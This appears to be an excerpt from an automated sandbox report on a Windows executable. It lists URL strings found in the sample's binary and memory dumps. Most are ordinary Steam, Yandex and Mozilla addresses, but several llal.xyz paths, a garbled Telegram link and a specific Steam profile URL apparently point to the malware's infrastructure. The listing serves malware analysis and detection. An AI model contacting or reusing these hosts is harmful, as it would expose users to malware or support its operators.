Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_c
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=b1xaGseXu8jC&l=e
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=MO4-iGQJS3Kg&l=en
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=96201
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://crash-reports.browser.yandex.net/submit
Source: 0x001900000002ab40-59.exe, 00000001.00000000.1519545162.0000000000933000.00000002.00000001.01000000.00000003.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://crash-reports.browser.yandex.net/submit~S
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://crash-reports.browser.yandex.net/submit~SRxTRhSRx%R
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser-partners/_xp_builds/browser-setup.arc
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser-partners/_xp_builds/browser-setup.arcGetDownloadUrlsFromBran
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/alice/scenarios/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/alice/scenarios//browser-setup.archttps://download
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/ybLocal
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/win7/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/win7//browser-setup.arc..
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724819264.0000000005E30000.00000004.00001000.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1725040619.0000000007676000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://https://t.me/asdfghjrrewqqqqtfg/ujs/WorldHellostrwvfncexGostrbrCHbrGkunknownftpac/Up/gltype
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1722573183.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1670243798.0000000008290000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1658364365.0000000008290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725640597.000000000829E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712291354.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722573183.0000000008297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/)
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725640597.000000000829E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712291354.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722573183.0000000008297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz//
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725640597.000000000829E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722573183.0000000008297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/D
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/U6
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/Up
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722517315.00000000082A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/Up/b
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1691573716.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712291354.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1723012989.00000000082A0000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722517315.00000000082A3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722622099.00000000082A7000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1725668402.00000000082A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/Up/b/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1691573716.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712291354.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1723012989.00000000082A0000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722517315.00000000082A3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722622099.00000000082A7000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1725668402.00000000082A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/Up/b6
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/Up/bZ
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722517315.00000000082A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/Up/bk
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/Upx
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/s
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/u
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d2
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d;
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842dU3
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A38000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/hg
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199619938930
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1725040619.0000000007676000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930
